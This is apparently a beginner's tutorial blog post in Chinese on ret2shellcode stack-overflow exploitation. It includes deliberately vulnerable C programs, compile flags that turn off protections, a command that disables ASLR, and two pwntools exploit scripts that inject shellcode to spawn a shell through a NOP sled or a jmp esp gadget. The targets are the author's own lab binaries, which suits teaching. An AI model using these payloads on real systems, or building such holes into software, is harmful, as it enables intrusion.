与ret2shellcode的初相识 – 作者:h778890

0x00 ret2shellcode简介

ret2shellcode,也就是return to shellcode,在执行完某个函数之后,跳到shellcode上,达到get shell的目的。

ret2shellcode关键在于我们找到一个可读可写可执行的缓冲区,接下来把我们的shellcode放到这个缓冲区,然后跳转到我们的shellcode处执行 。

0x01 示例一

先看一个存在栈溢出的c语言程序

#include 
#include 
char str1[0x40];
void func()
{
            char str[0x40];
            read(0,str,0x60);
            strcpy(str1,str);
}
int main()
{
            func();
            return 0;
}

我们可以看到这个程序,str1就是我们找到的那段可读可写可执行的缓冲区,那我们可以写一段shellcode放到str1中,在发生溢出时把返回地址写成str1的地址,那就会执行shellcode。

进行编译

gcc -no-pie -fno-stack-protector -z execstack -m32 -o 6.exe 6.c

注释:

 -no-pie:关闭地址随机化

-fno-stack-protector:没有堆栈保护

-z execstack:堆栈可执行

-m32: 32位

编译完成之后,顺便 checksec 6.exe,接下来查看一下保护机制,

定位溢出点

在func处加个断点,cyclic 200,生成100个随机字符,继续r

继续执行之后,将上面生成的字符串复制进去

再利用cyclic -l taaa ,最终确定溢出点的位置为76

找到str1的首地址

多次单步执行 n ,就可以找到str1的首地址为0x804c060

生成shellcode的方法

方法1:用pwntool或者peda和msfpc或者msfvenom工具生成,支持上线,最好越短越好

例如用pwntool中的shellcraft.sh(),再转汇编字节码asm(),也就是asm(shellcraft.sh()),本例中的exp就使用了这个

方法2:手写,其实网上一搜到处都是,可以直接用,但自己要在windows里面自己调试提取 ,就是想办法调用evecve(“/bin/sh”,null,null);

写exp

from pwn import *
context(arch="i386",os="linux")
p=process('./6.exe')
offset = 76
shellcode=asm(shellcraft.sh())
payload =shellcode.ljust(offset,'\x90')+p32(0x804c060)
p.sendline(payload)
p.interactive()

可以单独看一下payload的写法,因为shellcode的长度不足以达到76,所以剩余的部分用\x90代替,制造一段nop导轨,直接滑到shellcode上去执行

运行一下,get shell!

0x02 用jmp esp构造payload

先看c语言程序:

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
        char str1[0x40];
        read(0,str1,0x80);  
}
int main()
{
        func();
        return 0;
}

大致思路:可以发现在read函数这里会发生溢出,并且代码里有system(”/bin/sh”),那我们让返回地址恰好是system(”/bin/sh”)的地址,就能利用这个溢出

先echo 0 >/proc/sys/kernel/randomize_va_space,关闭内存地址随机化机制,为了保证system(”/bin/sh”)在内存中的地址不发生改变

然后按照与 示例一 一样的方法进行编译,然后start

定位溢出点的方法也一样,可以得到溢出点的位置是76

接下来找 jmp esp的地址,在peda下输入下面的命令:

asmsearch "jmp esp"

找到一个jmp esp的地址

写exp

from pwn import *
context(arch="i386",os="linux")
p=process('./8.exe')
offset = 76
shellcode=asm(shellcraft.sh())   
add_jmpesp=p32(0x080b001f)            //找到的jmp esp的地址
payload ='\x90'*offset+add_jmpesp+shellcode     
p.sendline(payload)
p.interactive()

可以看到我们在构造payload的时候并没有直接到shellcode上去,而是先去执行jmp esp,而此时栈顶恰好就是shellcode的首地址,也就是说执行完jmp esp,再去执行shellocde,这是一种动态定位的方法。如下图,成功运行并get shell!

0x03 总结

1.本文主要描述了ret2shellcode的相关原理和实例,关键的一点还在于我们找到一个可读可写可执行的缓冲区,接下来把我们的shellcode放到这个缓冲区,然后跳转到我们的shellcode上执行

2.两种生成shellcode的方法:

(1)用pwntool或者peda和msfpc或者msfvenom工具生成

(2)自己手写或从网上copy

3.可以用jmp esp构造payload,动态定位shellcode的地址

路虽远,行则至!今天终于在安全主流媒体上发表文章,勇敢的迈出了第一步,信安小白投的第一篇文章献丑了,若有不足之处还请各位大牛多多指出!

*本文作者:h778890,转载请注明来自FreeBuf.COM

来源:freebuf.com 2020-05-12 10:00:06 by: h778890

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论